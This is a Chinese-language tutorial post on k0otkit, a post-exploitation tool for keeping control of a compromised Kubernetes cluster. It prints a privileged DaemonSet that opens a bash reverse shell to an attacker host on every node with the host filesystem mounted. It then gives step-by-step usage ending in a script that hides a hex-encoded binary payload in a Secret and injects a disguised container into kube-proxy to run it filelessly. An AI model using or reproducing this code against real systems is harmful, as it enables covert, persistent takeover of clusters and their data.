K8s Rootkit集群控制

2023-10-23 16:56:41 浏览数 (2)

文章前言

k0otkit是一种通用的后渗透技术,可用于对Kubernetes集群的渗透,攻击者可以使用k0otkit快速、隐蔽和连续的方式(反向shell)操作目标Kubernetes集群中的所有节点,K0otkit使用到的技术主要有以下几个:

  • kube-proxy镜像(就地取材)
  • 动态容器注入(高隐蔽性)
  • Meterpreter(流量加密)
  • 无文件攻击(高隐蔽性)
  • DaemonSet和Secret资源(快速持续反弹、资源分离)
K8S渗透

常见的K8S集群如下所示:

常见的K8S的渗透路径:

形象的K8S的渗透过程:

集群控制

我们控制一个Kubernetes集群需要经过以下几个阶段:

代码语言:javascript复制
Web渗透 >> 提权 >> 逃逸 >> Master root >> ???

如果此时的Master参与Pod调度,那么我们可以利用DaemonSet资源特性(如果有Pod挂掉,DaemonSet控制器将自动重建该Pod),自动在所有节点上均部署一个Pod实例,同时将把DaemonSet和反弹shell结合在一起实现反弹shell控制节点的目的,下面是一个实例:

代码语言:javascript复制
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: attacker
spec:
selector:
matchLabels:
  app: attacker
template:
metadata:
  labels:
    app: attacker
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: main
    image: bash
    imagePullPolicy: IfNotPresent
    command: ["bash"]
    # reverse shell
    args: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
使用实例

Step 1:下载k0otkit

代码语言:javascript复制
git clone https://github.com/Metarget/k0otkit
cd k0otkit/
chmod  x ./*.sh

Step 2:替换pre_exp.sh文件中的ATTACKER_IP与ATTACKER_PORT以及载荷位数

代码语言:javascript复制
ATTACKER_IP=192.168.17.165
ATTACKER_PORT=4444

Step 3:生成k0otkit

代码语言:javascript复制
./pre_exp.sh

Step 4:运行handle_multi_reverse_shell.sh

代码语言:javascript复制
./handle_multi_reverse_shell.sh

Step 5:复制k0otkit.sh中的内容到master节点中去执行(注意kubeconfig文件的位置)

代码语言:javascript复制
volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

image=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /home/r00t/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace: kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODExYTU2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjYwY2IwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below

# inject malicious container into kube-proxy pod
kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml 
  | sed "$volume_line_num a      - name: $volume_namen        hostPath:n          path: /n          type: Directoryn" 
  | sed "$ctr_line_num a      - name: $ctr_namen        image: $imagen        imagePullPolicy: IfNotPresentn        command: ["sh"]n        args: ["-c", "echo $$payload_name | perl -e 'my $n=qq(); my $fd=syscall(319, $n, 1); open($FH, qq(>&=).$fd); select((select($FH), $|=1)[0]); print $FH pack q/H*/, <STDIN>; my $pid = fork(); if (0 != $pid) { wait }; if (0 == $pid){system(qq(/proc/$$$$/fd/$fd))}'"]n        env:n          - name: $payload_namen            valueFrom:n              secretKeyRef:n                name: $secret_namen                key: $secret_data_namen        securityContext:n          privileged: truen        volumeMounts:n        - mountPath: $mount_pathn          name: $volume_name" 
  | kubectl --kubeconfig /home/r00t/.kube/config replace -f -

Step 6:等待反弹shell回来

Step 7:进行交互操作

Step 8:逃逸并控制节点

0 人点赞